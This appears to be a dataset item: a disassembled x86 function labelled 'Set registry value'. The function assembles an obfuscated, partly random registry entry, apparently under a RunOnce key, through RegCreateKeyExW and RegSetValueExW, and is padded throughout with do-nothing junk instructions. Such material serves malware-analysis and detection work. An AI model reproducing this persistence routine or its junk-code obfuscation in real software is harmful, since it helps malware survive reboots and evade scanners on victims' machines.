Function at 0x40b5b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4194b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e4
push esi
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x6c], 0x208
push 0x208
push 0
lea eax, [ebp - 0x4f0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
push 0x41a4a0
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
cmp dword [ebp + 0x14], 0
jne 0x40b714
push 0x41a4a4
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
lea ecx, [ebp - 0x98]
call fcn.0040f4b0
mov dword [ebp - 4], 0
push 0xe
lea ecx, [ebp - 0x98]
call fcn.00416e30
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
mov dword [ebp - 0x48], 0
jmp 0x40b6a4
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
lea ecx, [ebp - 0x98]
call fcn.00417540
cmp dword [ebp - 0x48], eax
jae 0x40b6e4
push 0x7a
push 0x61
call fcn.0040a010
add esp, 8
mov esi, eax
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x98]
call fcn.004101c0
mov word [eax], si
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
jmp 0x40b69b
lea ecx, [ebp - 0x98]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.0040fa50
jmp 0x40b774
push 0x41a4ac
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x41e30c
call fcn.00413f30
push eax
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push 0x41a4b4
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x41e330
call fcn.00413f30
push eax
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
cmp dword [ebp + 0x10], 0
je 0x40b79c
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
lea ecx, [ebp - 0xb0]
call fcn.0040f290
mov dword [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x41e384
call fcn.0040f0c0
mov dword [ebp - 0x74], eax
push 0x41e348
lea edx, [ebp - 0x40]
push edx
call fcn.00407a00
add esp, 0x20
mov dword [ebp - 0x78], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040f290
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], 0
jmp 0x40b807
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x40]
call fcn.00417520
cmp dword [ebp - 0x10], eax
jae 0x40bfbb
cmp dword [ebp - 0x10], 2
jne 0x40b83d
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 4
jne 0x40b862
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 6
jne 0x40b887
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 9
jne 0x40b8ac
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0xc
jne 0x40b8d1
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0xe
jne 0x40b8f6
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x12
jne 0x40b91b
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x16
jne 0x40b940
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x17
jne 0x40b965
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x1b
jne 0x40b98a
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x1d
jne 0x40b9af
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x20
jne 0x40b9d4
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x21
jne 0x40b9f9
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x23
jne 0x40ba1e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x26
jne 0x40ba43
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x28
jne 0x40ba76
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x29
jne 0x40baa9
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x2a
jne 0x40badc
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x2f
jne 0x40bb0f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x30
jne 0x40bb42
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x31
jne 0x40bb75
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x32
jne 0x40bba8
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x33
jne 0x40bbdb
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x35
jne 0x40bc0e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x39
jne 0x40bc41
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x3b
jne 0x40bc74
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x41
jne 0x40bca7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x46
jne 0x40bccc
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x48
jne 0x40bcf1
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x4a
jne 0x40bd24
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x4b
jne 0x40bd49
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x4e
jne 0x40bd7c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push ebp
xor ebp, ecx
mov ebp, 0x2e290979
add ebp, esp
xor ebp, edx
nop
pop ebp
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x52
jne 0x40bdaf
push edi
mov edi, 0x3f254125
add edi, edx
and edi, ecx
sbb edi, esp
nop
pop edi
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x54
jne 0x40bdd4
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x56
jne 0x40be07
push ecx
mov ecx, 0x50f841c4
or ecx, ecx
sub ecx, edi
sub ecx, edx
nop
pop ecx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x58
jne 0x40be2c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x5a
jne 0x40be51
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x5b
jne 0x40be92
push edi
or edi, ebp
mov edi, 0x1dc44a59
xor edi, edi
xor edi, eax
nop
pop edi
push ecx
and ecx, ebx
mov ecx, 0x50c6675e
or ecx, esi
sbb ecx, edi
nop
pop ecx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x5f
jne 0x40beb7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x63
jne 0x40beea
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
push edi
or edi, ecx
add edi, ebx
mov edi, 0x276d2e36
or edi, edi
nop
pop edi
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x64
jne 0x40bf0f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x66
jne 0x40bf34
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x6a
jne 0x40bf56
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x6e
jne 0x40bf78
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
cmp dword [ebp - 0x10], 0x6f
jne 0x40bfa8
push esi
mov esi, 0x2ca0b56
add esi, esi
add esi, edi
xor esi, ebp
nop
pop esi
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410470
jmp 0x40bfb6
push ebx
mov ebx, 0x73e24f7b
mov ebx, 0x275a65ef
or ebx, ebx
pop ebx
jmp 0x40b7fe
cmp dword [ebp + 0x14], 0
jne 0x40bfe0
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040ff60
push edi
sub edi, eax
mov edi, 0x78811fba
add edi, eax
sub edi, esp
nop
pop edi
jmp 0x40c023
push str.Once
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0xe0]
push eax
call fcn.0040c930
add esp, 0xc
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040fe70
lea ecx, [ebp - 0xe0]
call fcn.0040fa10
push esi
mov esi, 0x3afe05d6
mov esi, 0x494868c2
add esi, ebp
pop esi
lea ecx, [ebp - 0x51]
call fcn.0040ef70
push eax
lea edx, [ebp - 0x7c]
push edx
lea ecx, [ebp - 0xb0]
call fcn.00414410
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00413e10
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xc8]
call fcn.0040c590
push ecx
mov ecx, 0x5fb63bab
sbb ecx, eax
xor ecx, ebx
sub ecx, esp
nop
pop ecx
push 0
lea eax, [ebp - 0x44]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.00413f30
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40c0a5
mov dword [ebp - 0x58], 1
jmp 0x40c0ac
mov dword [ebp - 0x58], 0
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x50], ecx
push edx
mov edx, 0x654b77e5
mov edx, 0x6f957827
sub edx, ebx
pop edx
cmp dword [ebp - 0x50], 0
je 0x40c119
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
lea eax, [eax + eax + 2]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
lea edx, [ebp - 0x4f0]
push edx
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40c10c
mov dword [ebp - 0x5c], 1
jmp 0x40c113
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], edx
push ebx
mov ebx, 0x6d3f419a
mov ebx, 0x3a1e0113
sbb ebx, ebp
pop ebx
cmp dword [ebp - 0x44], 0
je 0x40c13e
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x44], 0
push esi
or esi, ebx
mov esi, 0x5ca32c81
mov esi, 0x29551190
pop esi
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x68], ecx
lea ecx, [ebp - 0xc8]
call fcn.0040fa50
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040fa10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.0040fa10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.0040fa10
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret